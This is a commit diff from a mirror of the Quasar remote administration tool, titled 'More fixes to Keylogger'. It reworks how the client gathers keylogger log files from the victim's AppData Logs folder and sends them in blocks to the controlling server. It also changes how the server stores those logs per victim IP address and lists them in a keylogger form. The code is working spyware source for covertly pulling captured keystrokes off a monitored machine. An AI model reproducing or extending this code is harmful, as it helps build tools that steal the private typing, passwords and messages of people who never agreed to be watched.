mirror of https://github.com/quasar/Quasar.git
More fixes to Keylogger
This commit is contained in:
parent
770d194ba9
commit
e8d8e8d58e
|
@ -367,18 +367,16 @@ public static void HandleGetLogs(Packets.ServerPackets.GetLogs command, Client c
|
||||||
{
|
{
|
||||||
new Thread(() =>
|
new Thread(() =>
|
||||||
{
|
{
|
||||||
int index = 1;
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
int index = 1;
|
||||||
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
|
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
|
||||||
|
|
||||||
DirectoryInfo dicInfo = new DirectoryInfo(path);
|
FileInfo[] iFiles = new DirectoryInfo(path).GetFiles();
|
||||||
|
|
||||||
FileInfo[] iFiles = dicInfo.GetFiles();
|
|
||||||
|
|
||||||
if (iFiles.Length == 0)
|
if (iFiles.Length == 0)
|
||||||
{
|
{
|
||||||
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, iFiles.Length).Execute(client);
|
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -335,12 +335,26 @@ public static void HandleGetLogsResponse(Client client, GetLogsResponse packet)
|
||||||
|
|
||||||
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
|
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
|
||||||
|
|
||||||
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
|
if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
|
||||||
{
|
{
|
||||||
client.Value.FrmKl.Invoke((MethodInvoker) delegate
|
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles();
|
||||||
|
|
||||||
|
if (iFiles.Length == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
foreach (FileInfo file in iFiles)
|
||||||
{
|
{
|
||||||
if (packet.Index == packet.FileCount)
|
var file1 = file;
|
||||||
client.Value.FrmKl.btnGetLogs.Enabled = true;
|
client.Value.FrmKl.Invoke((MethodInvoker)delegate
|
||||||
|
{
|
||||||
|
client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem().Text = file1.Name);
|
||||||
|
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
client.Value.FrmKl.Invoke((MethodInvoker)delegate
|
||||||
|
{
|
||||||
|
client.Value.FrmKl.btnGetLogs.Enabled = true;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -49,33 +49,9 @@ private void FrmKeylogger_Load(object sender, EventArgs e)
|
||||||
private void btnGetLogs_Click(object sender, EventArgs e)
|
private void btnGetLogs_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
btnGetLogs.Enabled = false;
|
btnGetLogs.Enabled = false;
|
||||||
|
|
||||||
lstLogs.Items.Clear();
|
lstLogs.Items.Clear();
|
||||||
|
|
||||||
new Core.Packets.ServerPackets.GetLogs().Execute(_connectClient);
|
new Core.Packets.ServerPackets.GetLogs().Execute(_connectClient);
|
||||||
|
|
||||||
new Thread(() =>
|
|
||||||
{
|
|
||||||
while (!btnGetLogs.Enabled)
|
|
||||||
{
|
|
||||||
if (FrmMain.Instance == null)
|
|
||||||
//Provide an escape from thread in the case of client-server disconnection, a possibly rare occurence
|
|
||||||
return;
|
|
||||||
|
|
||||||
Thread.Sleep(15);
|
|
||||||
}
|
|
||||||
|
|
||||||
FileInfo[] iFiles = new DirectoryInfo(_path).GetFiles();
|
|
||||||
|
|
||||||
if (iFiles.Length == 0)
|
|
||||||
return;
|
|
||||||
|
|
||||||
foreach (FileInfo file in iFiles)
|
|
||||||
{
|
|
||||||
var file1 = file;
|
|
||||||
lstLogs.Invoke((MethodInvoker) delegate { lstLogs.Items.Add(new ListViewItem().Text = file1.Name); });
|
|
||||||
}
|
|
||||||
}).Start();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void lstLogs_ItemActivate(object sender, EventArgs e)
|
private void lstLogs_ItemActivate(object sender, EventArgs e)
|
||||||
|
|
Loading…
Reference in New Issue